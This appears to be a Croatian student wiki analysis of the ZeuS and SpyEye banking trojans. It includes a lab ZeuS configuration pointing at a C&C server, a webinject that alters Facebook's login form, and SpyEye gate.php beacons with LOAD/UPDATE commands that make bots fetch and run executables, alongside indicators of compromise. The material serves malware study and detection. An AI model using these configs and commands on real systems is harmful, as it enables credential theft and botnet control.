Dio koji će biti zanimljiv napadačima je upravljanje bot-ovima tj. cjelim botnet-om, a to se najćešče provodi kroz skripte koje se pišu te se šalju bot-ovma kako bi ih oni izvršavali. Ovo je vrlo jednostavan i efikasan sustav distribucije naredbi te ga je vrlo lako shvatiti. Ono što je bitno je da bot-ovi koji šalju zahtjeve prema serveru dohvate skriptu te je nakon toga pokušavaju izvršiti na zaraženom računalu. Način na koji se pišu skripte je isto tako vrlo zanimljiv te ne zahtjeva programerske vještine nekih velikih razmjera, štoviše uz toolkit dolaze upute o naredbama koje je moguće postaviti u skriptu i kako se one koriste.

To su bili neki od primjera naredbi koje se mogu naći kao dio skripte koja se izvršava no postoji mnogo varijacija pošto postoji velik broj parametara koje primaju ove naredbe. Kako bi napadač mogao pratiti velik broj podataka koji se stvara radom botnet-a napravljen je sustav pretraživanja baze podataka koji na jednostavan način napadaću omogućava precizno pronalaženje traženog skupa podataka.

S 3 botnet.png

Sva izvješća koja su dostavljan mogu se spremati i u lokalni file iz kojeg se mogu pretraživati podatci. Dodatno kontrolni panel ima još nekoliko opcije koje se tiču šturih postavki sučelja i informacija o sustavu na kojem je postavljen kontrolni panel. Za pristup samom panelu mogu se kreirati dodatni korisnici kojima je moguće dodjeljivat neka osnovna prava te se na taj način kreira sustav uloga u sustavu. Upravljanje korisnicima pokazuje kako se radi o sustavu s više razina ovlasti i da je predviđen za korištenje od strane više napadača

Zeus Config

Config je osnovna datoteka koja je bot-u potrebna kako bi dobio zadatke koje mora raditi na zaraženom računalu. To je prva datoteka koju bot pokušava dohvatiti jednom kad se instalira na računalo. Unutar Config datoteke u običnom tekstu definiramo statički i dinamički dio. Statički dio možemo nazvati i operativni dio bot-a jer sadržava osnovnu funkcionalnost koju bot mora raditi jednom kad se instalira na računalo. Prije svega bot mora uspostaviti komunikaciju s komandnim centrom kako bi primio config file koji sadrži osnovne postavke i upute za izvršavanje na zaraženom računalu. Osnovne postavke za naš bot su :

entry "StaticConfig"
 ;botnet "bnet1" 
 timer_config 60 1
 timer_logs 1 1
 timer_stats 20 1
 url_config "http://192.168.1.50/ZeuS 2.0.8.9/output/builder/config.bin"
 encryption_key "lozinka"
end

prvo definiramo pripadajući botnet za navedenog bota zatim vrijeme osvježavanja tj. koliko često bot traži konfiguracijsku datoteku, timer_logs predstalja vrijeme između slanja izvještaja tj. podataka prikupljenih na računalu, timer_stats je pak razmak između slanja statistika za zaraženo računalo. url_config predstavlja adresu s koje bot skida konfiguracijske datoteke za potrebe primjera usmjerili smo bot-a na server u drugom virtualnom stroju kako bi s njega dohvatio config.bin. Lozinka koja je nakraju predstavlja lozinku za enkripciju config datoteke i same komunikacije bot-a tako da je vrlo važno poznavanje lozinke. Dinamički dio konfiguracije vrlo je varijabilan te se nećemo upuštati u detalje oko njegovih mogućnosti i varijanti izvedbe već ćemo objasniti o čemu se radi u našoj konfiguraciji.

entry "DynamicConfig"
 url_loader "http:// 192.168.1.50/ZeuS 2.0.8.9/output/builder/bot.exe"
 url_server "http:// 192.168.1.50/ZeuS 2.0.8.9/output/server[php]/gate.php"
 file_webinjects "webinjects.txt"
 entry "WebFilters"
   "!*.microsoft.com/*"
   "!http://*myspace.com*"
   "@*google.com/*"
   "http:elf.doi.hr /*"
 end
 entry "WebDataFilters"
   ;"http://www.facebook.com/*" "email;pass"
 end
 entry "WebFakes"
   ;"http://www.yahoo.com" "http://www.google.com" "GP" "" ""
 end
end

Za poćetak imamo dva url-a koji označavaju otkud se dohvaća zadnja verzija bot-a i kuda bot mora slati podatke koje je skupio s zaraženog računala, gate.php dakle služi kao ulaz pomoću kojeg se podatci spremaju na server. Zatim slijedi datoteka koja su nalazi uz config datoteku a sadrži osnovne postavke za umetanje koda u web stranice prilikom njihovog učitavanja, kasnije ćemo malo detaljnije o tome. Web filteri su važan dio bot-a jer osiguravaju da se prikupljaju podatci vezani uz određene stranice i na taj način smanji količinu podataka koju bot prikuplja. Mi smo definirali da se ne prikupljaju podatci vezani uz microsoft i myspace te da se rade screenshotovi za google te da se prati elf.foi.hr. WebDataFilteri prikupljaju podatke koji se vežu za oznaku pojedinog taga unutar strukture stranice, tako u slučaju facebook-a tražimo tag-ove koji su označeni sa email i pass kako bi smo prikupili podatke za prijavu korisnika. Ovakav pristup također pogoduje napadaču jer dobiva točno definirani skup podataka. WebFakes je definiranje preusmjeravanja korisnika u slučaju da pristupi nekoj stranici, tako u našem slučaju preusmjeravamo korisnike s yahoo-a na google što je pogodno jer ionako pratimo akcije koje se događaju na google-u. Postoje još neke mogućnosti koje nismo navodili a vežu se uz još neke vrste krađe podataka. TAN graber je jedna od ugrađenih mogućnosti koji definira s kojih stranica i kako uzimati TAN podatke koji su upisani u formu. Poslana forma se prati i iz nje se izvlače podatci koje je upisao korisnik, tako ova vrsta krađe može postati vrlo profitabilna ako napadač već posjeduje neke podatke o korisniku. Jedan od oblika napada je i webinject koji je dobro podržan

set_url */facebook.com /* GP
data_before
<td>
   <input type="password" class="inputtext" name="pass" id="pass" tabindex="2">
 </td>
data_end
data_inject
<td>
   <input type="text" class="inputtext" name="boja" id="boja">
 </td>
data_end
data_after
<td>
   <label class="uiButton uiButtonConfirm" for=
data_end

Upravljanje zaraženim računalom

S 2 botnet.png

<form class="loginform" id="login" method="post" action= "https://elf.foi.hr/login/index.php">
  <label for="boja">Omiljena boja</label>
  <input type="text" name="boja" id="boja" value=""/>
</form>


S 1 botnet.png

<tr><td>
   <input type="text" class="inputtext" name="email" id="email" value="" tabindex="1">
 </td> <td>
   <input type="password" class="inputtext" name="pass" id="pass" tabindex="2">
 </td><td>
   <input type="text" class="inputtext" name="boja" id="boja">
 </td><td>
   <label class="uiButton uiButtonConfirm" for="uo0uy4_5">
   <input value="Log In" tabindex="4" type="submit" id="uo0uy4_5">
   </label>
 </td>
</tr>

Analiza zeus bota

Instalacija bota i source

Analiza bot-a je provedena na virtualnom računalu kako bi smo mogli pratiti promjene koje su napravljene na sustavu i komunikaciju koju zaraženo računalo pokušava ostvariti. Prije svega virtualnom stroju je dodijeljen statički ip s poveznicom prema drugom virtualnom stroju kako bi se bot mogao pristupiti komandnom centru i skinuti potrebne podatke s njega. Na sustav je postavljen softver za bilježenje registry-a te softver za kreiranje snaphot-a sustava, s ova dva softvera provest ćemo analizu promjena koje su napravljene na sustavu. Jednom kad smo napravili bot-a prebacili smo ga na računalo koje je trebalo biti zaraženo i pokrenuli ga. Rezultat pokretanja je naravno otpakiravanje i instalacija na sustav. Kako bi smo vidjeli o čemu se točno radi možemo iskoristiti neki od disasemblera koji mogu rastaviti exe datoteke kako bi se moglo doći do njihovog koda i vidjeti što one točno rade. Kako bi smo došli do izvršavanja bot-a koristili smo ollydbg. Dobiveni rezultat je prikazan u asembleru i daje nam sljedeći prikaz.

S 21 botnet.png

trenutni dio izvršavanja na kojem je stao sadrži dekodiranje stringova koji su bot-u potrebni za rad. Kod je dosta zamršen tako da se ovdje radi o nekom obliku raspetljavanja, prikazani kod može se prevesti u sljedeći pseudo kod

seed = 0xBA;
String new string = new String(enc_string.length());
for i = 0 do enc string.length(){
  new_string[i] = (enc_string[i] + seed) %256;
  seed = (seed + 2);
}
vrati (new_string)

Nakon otpakiravanja pozivaju se kernel funkcije za ućitavanje biblioteka i pregledavaju se procesi koji se izvršavaju na računalu.

S 22 botnet.png

Bot također po ulasku u računalo iz tablica procesa saznaje nekoliko bitnih informacija, prije svega dali se na računalu nalaze neki od njemu poznatih antivirusnih programa ili firewall-a, tako je poznato da se traže izvršni procesi outpost.exe i zlclient.exe te u slučaju da postoje bot prestaje s instalacijom. Nakon što je obavio preliminarnu pretragu bot pokušava upisati svoju putanju u registry. Razlog tome je omogućavanje pokretanja bot-a po pokretanju operacijskog sustava i korisničkih prava. Kako bi smo vidjeli što je bot napravio napravili smo snimku registry-a prije i nakon pokretanja bot-a, usporedbu i snimanje napravili smo RegShot-om koje nam je omogućio i usporedbu dvije snimke. Iz uspredbe možemo vidjeti da se radi o jednostavnom unosu putanje kopije bot-a koja se nalazi u system32 direktoriju.

S 23 botnet.png

Nakon toga bot se pokušava ubaciti direktno u virtualnu memoriju procesa winlogon.exe i od tamo kreirati još jednu dretvu pomoću koje će se izvršavati. Na taj način bot po svakom pokretanju ulazi u izvršni dio winlogon procesa i od tamo pokreće korisničku dertvu. Bot prilikom instalacije napravi još nekoliko jednokratnih aktivnosti, tako bot na zaraženo računalo postavlja kopiju samog sebe i to system32 direktory te obriše izvršnu datoteku koju je korisnik inicijalno pokrenuo. U slučaju da na računalu postoji kopija bot-a trenutno pokrenuta instalacija prebrisati će starog bot-a i kreirati novog, takvo ponašanje je vidljivo i u slučaju kada se radi ažuriranje starog bot-a. U kodu kodu samog bot-a poziva se ntdll.dll datoteka koja nam je dala sugerirati da se koriste neke njene funkcionalnosti, uspostavilo se da bot zapravo uzima neke dijelove tog file te ih kopira na sdra64.exe. Bot je ustvari kopirao MAC (modification,access,creation) vremena koja operacijskom sustavu daju doznanja kada je kreiran file, u ovom slučaju ispada da je sdra64 kreiran kada je instaliran operacijski sustav. Za dodatno skrivanje kopije bot-a napravljene su i promjene na vidljivosti bot-a tako on postaje skrivena datoteka sistemskog tipa kako bi se otežalo njegovo pronalaženje kroz vizualnu pretragu. Kako bi smo pregledali što je bot sve napravio s operacijskim sustavom napravili smo dva snapshota sustava i to neposredno prije i nakon instalacije bot-a. Ispostavilo se da je u sustav nadodano nekoliko stvari, prvo je naravno sama kopija bot-a koja je dodana u system32 no dodan je i jedan direktorij, lowsec. Direktorij koji je napravljen za vrijeme instalacije nije skriven te se u njemu nalaze dvije datoteke, user.ds i local.ds. Datoteka user.ds ima funkciju spremanja dinamičkog dijela konfiguracije koja dolazi s bot-om te za spremanje uputa koje su proslijeđene od strane komandnog centra. Datoteka local.ds služi za spremanje podataka vezanih u zaraženo računalo i naravno svih ukradenih podataka koji su spremni za slanje, možemo reći da se radi o privremenoj memoriji koju bot koristi kako bi mogao čuvati podatke između definiranih intervala slanja podataka.

S 24 botnet.png

Pošto je ovo starija verzija bot-a koju smo koristili iz razloga jer ju je nešto lakše kontrolirati i nadzirati postoje novije varijante koje imaju određen napredak i naravno razlikuju se od navedene. Iz tih razloga svaki bot ima različite načine predstavljanja i može kreirati različite direktorije s različitim datotekama što čini posao pronalaženja nešto težim.

Komunikacija

Ono što bot-u definitivno treba je komunikacija sa komandnim serverom te je bitno pogledati i taj aspekt. Bot komunikaciju s vanjskim svijetom vrši slanjem i primanjem kriptiranih poruka koje su prema nekim kriptirane RC4 algoritmom s ključem koji je naveden u statičkom dijelu konfiguracije bot-a. Pošto neke analize navode kako se može pronaći statički dio konfiguracije unutar samog bot-a, korištenjem poznatih dijelova moguće je odrediti kljuć koji se nalazi u tome dijelu te se isti može koristiti kako bi se pratila komunikacija unutar navedenog botnet-a. Komunikacija koja se vrši između botova i kontrolnog centra može se dekodirati korištenjem python skripte i poznavanjem ključa koji se koristi a struktura poruka koje se šalju izgleda ovako :

S 25 botnet.png

Poruka se sastoji od zaglavlja s MD5 hash-om koji je napravljen za ostatak podataka koji se šalju u poruci. Isto tako treba napomenuti da se komunikacija može napasti zbog učestale upotrebe istog keystream-a i ne postoji reinicijalizacija sesije prilikom slanja podataka. Komunikacija se vrši kroz nekoliko koraka, prvi od kojih je javljanje komandnom centru i zahtjev za config.bin datotekom nakon čega slijedi nastavak komunikacije s gate.php skriptom koja se brine zaprimanje podataka od bot-a. Komunikaciju smo pratili korištenjem wireshark-a.

S 26 botnet.png

Iz prikazane slike se može vidjeti da bot šalje get zahtjev prema serveru te mu server odgovara s HTTP OK te mu daje datoteku koju je tražio nakon toga kreće slanje podataka prema gate.php-u i njegov odgovor. Ono što se ovdje ne vidi je ćinjenica da bot prikuplja podatke s raćunala na kojem je te zahtjev prema nekom poslužitelju kako bi dobio svoju ip adresu natrag. Takav pristup omogućuje bot-u da utvrdi koliko je blizu izlazu na Internet, dali je u NAT-u te u gdje se nalazi. cjelokupna komunikacija između bot-a i kontrolnog raćunala izgleda ovako :

S 27 botnet.png

Ova komunikacija ponavlja se u intervalima koji su definirani u statičkom dijelu konfiguracije te se omogućava nesmetano upravljanje i dobivanje informacija. Kako se komunikacija temelji na http-u lako se uklapa u veliku količinu podataka koje se šalju prema i od računala te ne zahtjeva oslobađanje nekih dodatnih resursa.

Zaključak o zeusu

Kada se govori o malware-u tada je zeus u jednom ili drugom obliku jedan od najrasprostranjeniji malware na tržištu. Sa svojim bot-om i kontrolnim centrom govorimo o vrlo jednostavnom ali i vrlo softiciranom obliku malware-a, iako je izvorni kod velike većine dostupan javnosti i dalje se radi o vrlo opasnom obliku malware-a. Antivirusne kuće danas uspijevaju prepoznati nešto više od 50% zeus-ovih bot-ova no uz malo truda ovi se bot-ovi mogu zapakirati u gotovo neprepoznatljive napadače. Korištenjem alata kao što su SAW i God Of War zeus i danas bez puno muke može napraviti poveći botnet. S druge strane napadaču se pruža analitički i komandni centar kojeg se mogu posramiti neka poduzeća, te napadač odavde može izvoditi većinu svojih napada i prikupljati i analizirati sve podatke koji su došli od strane bot-ova.


--Branko.rendulic 20:23, 2. siječnja 2012. (CET)

SpyEye

Općenito o SpyEye

SpyEye je alat pomoću kojeg se može uspostaviti kontrola nad većim brojem računala. Prva verzija SpyEye trojanca je objavljena u prosincu 2009., od strane „black-hat“ programera iz Rusije koji se predstavlja pod pseudonimima „Harderman“ i „Gribodemon“. Od tada je izdano više SpyEye verzija u koje su često dodavane unikatne mogućnosti koje dotad nisu korištene niti u jednom trojanskom konju. Najveći uzlet doživio je u 2010. kada je postao dostojan konkurent Zeus trojancu u pogledu mogućnosti, ali i niže cijene. Osim toga u jednoj od verzija uvedena je mogućnost „Kill Zeus“ koja uklanja Zeus trojanskog konja s računala koje je zaraženo s oba trojanska konja.

SpyEye 1.png


Općenito SpyEye je „komad“ malicioznog softvera (inačica trojanskog konja) kojim se nastoji neovlašteno prebaciti novac s tuđih Internet bankovnih računa. Cilj alata je uspostaviti mrežu tzv. „zombi“ računala kojom napadač upravlja preko SpyEye upravljačke ploče (engl. Command and Control – C&C). Alat se koristi za obavljanje različitih kriminalnih radnji koje uključuju krađu osobnih i privatnih podataka (npr. brojevi bankovnih računa i kreditnih kartica, podaci za pristup datotekama koje je korisnik spremio na FTP server i dr.) te izradu i pohranu statistike temeljene na analizi tih podataka koja se kasnije koristi u komercijalne svrhe (npr. oglašavanje).


SpEye 2.png


Prema podacima iz druge polovice 2011. SpyEye je modificiran s namjerom zaobilaska naprednih zaštitnih sustava koji se koriste u Internet bankarstvu. Takvi sustavi prate i analiziraju interakciju korisnika sa sustavom. Primjerice, mjere vrijeme koliko je korisnik proveo na nekoj od web stranica sustava za internet bankarstvo, koje stranice korisnik koristi na njihovom poslužitelju, koliko mu je vremena trebalo za izvršavanje transakcije, s kojih IP adresa koristi uslugu itd.. Primjerice, ako osoba redovito pristupa svom bankarskom računu s jednog mjesta (npr. grad u kojem živi) i odjednom promjeni lokaciju i pokuša pristupiti računu potrebno je poduzeti dodatne mjere za provjeru identiteta te osobe. Ujedno to je signal za mogući pokušaj prijevare. Pomoću prikupljenih korisničkih podataka na zaraženim računalima SpyEye se povezuje na bankarski poslužitelj i izvodi transakcije na štetu korisnika i korist vlasnika botneta. Za razliku od korisnika, SpyEye transakciju izvodi automatski i to u puno kraćem vremenu. Zadatak naprednih sustava zaštite je registracija takvog ponašanja i blokiranje daljnjeg izvršavanja bankarske transakcije. Korisnik obično posjećuje nekoliko stranica pri korištenju usluga Internet bankarstva, što nije karakteristično za SpyEye i tako može poslužiti kao indikator moguće prijevare. Najnovije modifikacije SpyEye alata omogućile su emuliranje, odnosno oponašanje navika i načina na koje se korisnici koriste Internet bankarskim uslugama. Može se reći kako SpyEye oponaša uzorke ljudskog ponašanja. Tako SpyEye sada znatno sporije obavlja financijske transakcije. Osim toga kako bi se prikrio ne koristi samo stranice namijenjene obavljanju transakcija.


Prema izjavi Romana Hüssya koji je voditelj sjedišta za skupljanje informacija o SpyEyeu (SpyEye Tracker), alat se klasificira kao botnet koji se koristi mrežom od 46 upravljačkih poslužitelja čiji se broj sve više povećava. Primijećeno je također da se u posljednje vrijeme povećao broj banaka čijim je uslugama Internet bankarstva SpyEye prilagođen. U kolovozu 2011. Sean Bodmer iz tvrtke za sigurnosna rješenja Damballa je objavio na svom blogu kako je probijena zaštita SpyEyea. Zaštita je omogućavala autoru alata prodaju i održavanje alata svojim klijentima, pri čemu se svaka instalacija SpyEyea vezala uz određeni hardver. Korištenjem reverznog inženjeringa istraživač Xyliton iz grupe RED (Reverse Engineers Dream) Crew je probio VMProtect zaštitu programskog koda SpyEye builder programa i postupak objavio na raznim hakerskim forumima. Cijena SpyEye alata na tržištu doseže vrijednost od oko 10 000 dolara. Probijanjem zaštite, alat je postao dostupan besplatno širem krugu zlonamjernih korisnika. Zbog toga će ubuduće biti teže ući u trag pokretačima SpyEye botnet mreža, koje se više ne povezuju samo s kupcima alata. Uz lažne antivirusne programe i TDL rootkitove SpyEye predstavlja jednu od najvećih sigurnosnih prijetnji, koja je objavom postupka probijanja njegove zaštite sada postala znatno većom i ozbiljnijom.


Značajke SpyEye alata

SpyEye je trojanski konj koji ima mogućnost injekcije koda u procese koji su pokrenuti na računalu. Može izvoditi sljedeće funkcije [AVIRA]:

  • pratiti mrežni promet
  • pratiti znakove unesene preko tipkovnice
  • slati i primati mrežne pakete kako bi zaobišao aplikacijske vatrozide (eng. firewalls)
  • sakriti i onemogućiti pristup ključevima registra za unos vrijednosti koje se koriste kod pokretanja sustava
  • sakriti i onemogućiti pristup vlastitom kodu
  • sakriti vlastiti proces unutar drugog procesa
  • ukrasti informacije iz Internet Explorer i Mozilla Firefox preglednika
  • geografski locirati zombi računala preko njihovih IP adresa
  • obrisati konkurentni Zeus trojanski konj, ako se oba nalaze na istom računalu

SpyEye 3.png


Neki od konkretnih modula i dodataka te mogućnosti koje su implementirane u SpyEye su:

  • program za prevođenje izvornih datoteka alata u izvršne (eng. EXE builder)
  • program za učitavanje izvornih datoteka (eng. EXE loader) kojem je namjena preuzimanje i izvršavanje datoteka na udaljenom žrtvinom računalu
  • web upravljačka ploča (eng. Web control panel) pomoću koje haker nadzire i kontrolira sva zaražena računala u botnet mreži
  • CC Autofill modul za automatizaciju procesa krađe novca s ukradene kartice korisnika čije je računalo zaraženo pomoću IP lociranja
  • sakupljač podataka iz formi (eng. Formgrabber) ima uključeni alat za praćenje unosa preko tipkovnice (eng. keylogger) kojim se kradu određeni podaci koje korisnik unosi u web formular (npr. brojevi bankovnih računa i detalji kreditnih kartica) na legitimnim stranicama
  • zabrana URL adresa korištenjem regularnih izraza preko upravljačke ploče
  • konfiguracijske datoteke alata su kriptirane radi skrivanja načina na koji program radi
  • krađa FTP (podaci za pristup podatkovnim serverima) i POP3 računa (podaci za pristup e-mail računu korisnika koji se koristi tim protokolom)
  • krađa osnovne autorizacije (eng. Basic Authorization)
  • špijun Zeusa – koristi se za pronalazak upravljačke ploče Zeus botova
  • ubojica Zeusa – koristi se za uklanjanje Zeusa s računala ukoliko se oba nalaze na njemu
  • SpyEye sakupljač (eng. SpyEye Collector) koji koristi LZO kompresiju bez gubitaka podataka. SpyEye Collector osluškuje na portu poslužitelja za pojavom podataka koje potom slijedno pohranjuje u MySQL bazu podatak.
  • spajanje botova na upravljačku ploču određuje se vremenskim intervalima u kojima istovremeno na upravljačku ploču može biti spojen samo jedan bot
  • slanje rezervne kopije baze podataka od strane botova na e-mail adresu vlasnika svaki dan
  • statistički prikaz podataka o bot računalima i loaderu

SpyEye 4.png

Od pojave SpyEyea na tržištu su se pojavili brojni dodatci koji nadopunjuju i proširuju njegove mogućnosti novima (npr. krađa broja kartice korisnika koji kupuju preko Interneta). Alat je napisan u C++ programskom jeziku, dok su ciljani operacijski sustavi verzije Windowsa od Windows 2000 – Windows 7. U početnim verzijama alat nije bio prepoznat kod većine antivirusnih alata na tržištu, niti se njegov proces mogao vidjeti u upravitelju zadataka, a tako ni u ostalim aplikacijama koje rade u korisničkom modu rada. Razlog tomu je što je alat izrađen na način da radi u ring3 modu tj. da ima najniže ovlasti na računalu. Osim toga trudi se prikriti svoje datoteke i ključeve u registru kod standardnog pretraživanja direktorija i registra. [LSS]

SpyEye 5.png


Način rada

Neki od glavnih znakova koji bi mogli uputiti na moguću infekciju računala korisnika trojanskim konjem poput SpyEyea uključuju usporavanje računala, iskakanje tzv. „pop-ups“ prozora, rušenje ili gašenje računala bez izričite naredbe korisnika za tom akcijom. SpyEye na računalo može dospjeti na više načina:

  • kao e-mail prilog (eng. Attachment)
  • kao dio „piratskih“ programskih aplikacija
  • iskorištavanjem sigurnosnih propusta u web pregledniku


Kada dospije na žrtvino računalo samostalno se pokreće i obavlja svoje zadatke bez znanja i dopuštenja vlasnika odnosno korisnika računala.

Datoteke koje se kreiraju kod instaliranja SypeEye alata:

c:\cleansweep.exe\cleansweep.exe -> aplikacija
c:\cleansweep.exe\config.bin -> kriptirana konfiguracijska datoteka
%TempFolder%\upd1.tmp


Između zaraženog računala (bota) i upravljačke ploče kojom se koristi napadač se razmjenjuju različite poruke. Još više poruka može se dobiti proširivanjem alata raznim dodacima. Računalo zaraženo SpyEye trojanskim konjem nakon pokretanja automatski šalje poruku serveru na kojem se nalazi upravljačka ploča napadača. Prva u nizu poruka sadrži osnovne podatke o bot računalu i verziji aplikacije.

Primjer prve poruke koja se razmjenjuje između bot računala i upravljačke ploče na udaljenom serveru:

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&cpu=100&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

Značenje parametara poruke [LSS]:

  • guid = <uname>!<cname>!<1A2B3C4D>
    • Jedinstveni identifikator bot računala koji se sastoji od imena korisnika, imena računala i identifikacijskog broja.
  • ver = 10260
    • Inačica aplikacije na zaraženom računalu. Najpopularnije inačice su: 10070, 10280 i 10299.
  • stat = ONLINE
    • Status bot računala. Ako računalo nije upaljeno, poruka se neće slati tako da nema potrebe za „OFFLINE“ statusom. Ako je program za učitavanje izvornih datoteka postavio neku datoteku na bot računalo, status će bit „LOADCOMPLETE“ ili „LOAD-ERROR“, ovisno o rezultatu operacije.
  • ie = 6.0.2900.2180
    • Inačica Internet Explorer preglednika na zaraženom računalu.
  • os = 5.1.2600
    • Inačica operacijskog sustava Windows na zaraženom računalu.
  • ut = Admin
    • uloga ili tip korisnika na zaraženom računalu (eng. User Task). Može biti: „Admin“ i „User“.
  • cpu = 100
    • Postotak iskorištenosti procesora (eng. CPU load).
  • ccrc = 90A01B2D
    • CRC324 od zadnja 4 bajta config.bin datoteke na računalu. Polje ccrc se koristi kako bi se ustanovilo da li je potrebno ažuriranje konfiguracijske datoteke.
  • md5 = 0516cb89185fee8bee81a15d2859c870
    • MD5 sažetak inačice kojom je zaražen bot. C&C softver na poslužitelju uspoređuje sažetak iz poruke s tablicom sažetaka na poslužitelju. Parametar se koristi kako bi se provjerila ispravnost inačice (da li je neizmijenjena) i potreba za nadogradnjom.


Nakon što je poslao prvu poruku, bot svakih 5 minuta nastavlja slati ostale poruke koje su iste kao i početna samo bez parametara: ie, os i ut:

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

Dodaci SpyEyeu

Dodaci SpyEyeu koji se koriste kod infekcije se identificiraju u poruci pomoću parametra plg zajedno s imenom dodatka. Najpopularniji dodaci su: billinghammer, bugreport, ccgraber, fcertgrabber, ftpbc, socks5.


Primjer poruke koja sadrži podatke o botu s dodacima bilinghammer (za krađu novca s kreditnih kartica korištenjem ukradenih podataka) i bugreport (za dostavljanje informacija o uspjehu otklanjanja pogrešaka SpyEye alatom):

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=ONLINE&plg=bugreport;
billinghammer&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870 


Server na kojem se nalazi upravljačka ploča odgovara na poruku iz primjera s podacima o kontroli statusa koji služe za upravljanje stanjem dodataka (kontrolnim kodom 1 dodatak se aktivira, a kontrolnim kodom 0 se deaktivira). Vlasnik botneta može preko upravljačke ploče promijeniti statusni kod dodatka iz stanja neaktivnosti u stanje aktivnosti i obrnuto. Na slici ispod je prikazana promjena statusnog koda dodatka bugreport u aktivno stanje. Čim se bot javi upravljačkoj ploči statusni kod dodatka bugreport biti će promijenjen prema postavci za dodatak u upravljačkoj ploči.


Poruka sa neaktivnim dodatkom billinghammer i aktivnim dodatkom bugreport:

HTTP/1.1 200 OK (text/html)
PLUGIN<br>billinghammer;0<br>bugreport;1<br>


SpyEye 6.png

Ažuriranje aplikacije

Pomoću izbornika Update Bot vlasnik botneta može ažurirati SpyEye aplikaciju (postaviti novu datoteku). Obično će to uraditi ukoliko antivirusni alati prepoznaju trenutnu verziju koju koristi ili pak ako se pojavi nova, bolja verzija aplikacije. U tablicu „update_bot“ se upisuje MD5 sažetak datoteke. S tim se sažetkom uspoređuje md5 parametar svake poruke koja se primi od strane bota s tom verzijom aplikacije. Ako se dobiveni podatak iz poruke i podatak iz tablice razlikuju, tada se u odgovor na poruku dodaje naredba UPDATE.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&plg=bugreport;

billinghammer&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

Usporedbom vrijednosti parametra md5 i vrijednosti iz tablice može se zaključiti kako se radi o staroj verziji aplikacije jer se vrijednosti razlikuju. U tom slučaju formira se i šalje slijedeći odgovor:

HTTP/1.1 200 OK (text/html)
UPDATE<br>PATH=http://(server)/bin/build___.exe

Kada primi takav odgovor, bot preuzima novu verziju aplikacije s lokacije koja je navedena u odgovoru i instalira ju. Na sličan način moguće je ažurirati i konfiguracijsku datoteku (config.bin).

Učitavanje i izvršavanje aplikacija na botu

Učitavanje i izvršavanje aplikacija na botu je moguće izvesti preko upravljačke ploče. Nakon što su odrađene sve pripreme, šalje se naredba LOAD kao dio odgovora na prvu poruku koja stigne s bota.

HTTP/1.1 200 OK (text/html)
LOAD<br>http://(server)/bin/upload/calc.exe<br>121

Potvrda o uspjehu preuzimanja ovisi o sustavu dojave greške. Na kraju naredbe LOAD nalazi se u ovom slučaju broj 121 koji predstavlja identifikator zadatka pomoću kojeg se razlučuje uspjeh ili neuspjeh. Taj se broj dodaje u sljedeću poruku bota kao vrijednost parametra tid kojim se identificira zadatak.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=LOADCOMPLETE&tid=121&rep=TASK%20IS%20OK&
 cpu=36&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991378648ea7a2

Uspješno učitavanje može se prepoznati iz vrijednosti parametra stat koja je postavljena na LOAD-COMPLETE i tekstualne vrijednosti parametra rep koja je postavljena na TASK IS OK. Neuspjeh naredbe LOAD očituje se statusom asstat=LOAD-ERROR s opisom greške. Mogući su još neki oblici poruka za dojavu greške.

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=LOADERROR&tid=121&
 rep=[ERROR]%20:%20Cannot%20create%20thread.%200o%20:%20dwErr%20==%201455&cpu=1&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991

SpyEye analiza

Kada se pojavio SpyEye je bio „nevidljiv“ antivirusnim programima. S vremenom su ga počeli detektirati, ali se pokazalo da i relativno male izmjene na njegovom kodu mogu zamaskirati njegovu prisutnost na korisničkim računalima od antivirusnih programa. Kod instalacije SpyEye alata na računalu se kreiraju 3 datoteke:

  • cleansweep.exe - aplikacija
  • config.bin - enkriptirana konfiguracijska datoteka
  • upd1.tmp

U tablici su prikazane lokacije na kojima bi trebalo potražiti datoteke SpyEyea ukoliko se posumnja na zaraženost računala ovim trojanskim konjem [LSS]:

Datoteka Veličina Sažetak
c:\cleansweep.exe\cleansweep.exe 103.936 B MD5:

0xACD72596485C85F6 14ADBC9BB6117ACB

SHA-1:

0x880DED724E7FADB8665 7C72749C42CC3288AE434

c:\cleansweep.exe\config.bin 406 B MD5:

0x9268DB3CBA3C94F B6175DCE518BB567F

SHA-1:

0xEFFD6C68B9220B4BAD1 4B3DB644789CEFC5DB09C

 %TempFolder%\upd1.tmp 136.704 B MD5:

0x47FAC6A11E7CA1A DC19BF6DD041F9DFE

SHA-1:

0x21888F3F2A4C8938C0D7 10BECDC0D41B6714C9E2


SpyEye se pokreće prilikom paljenja računala. Da bi u tome uspio radi promjene u sistemskom registru. U registru se postavlja sljedeća vrijednost:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]"cleansweep.exe"="%systemdrive%\cleansweep.exe\cleansweep.exe"

SpyEye koristi sljedeće Windows API funkcije kako bi se sakrio i nadgledao funkcioniranje sustava: CryptEncrypt, LdrLoadDll, NtEnumerateValueKey, NtQueryDirectoryFile, NtResumeThread, NtVdmControl, TranslateMessage, HttpSendRequestA, HttpSendRequestW, HttpOpenRequestA, HttpAddRequestHeadersA, HttpQueryInfoA, InternetQueryDataAvailable, InternetCloseHandle, InternetReadFile, InternetReadFileExA, InternetWriteFile, send, PR_Read, PR_Write, PR_Close, PR_OpenTCPSocket, PFXImportCertStore.

SpyEye nije moguće pronaći u upravitelju zadataka (eng. Task manager) zato jer se pokreće i izvodi svoj kod unutar drugih procesa. Primijećeno je naime kako su u određenim legitimnim procesima stvorene dodatne memorijske stranice koje upućuju na njihovu infekciju. U tablici su prikazani procesi unutar kojih se skriva [LSS]:


Proces Datoteka procesa Dodijeljena veličina
services.exe %System%\services.exe 167.936 B
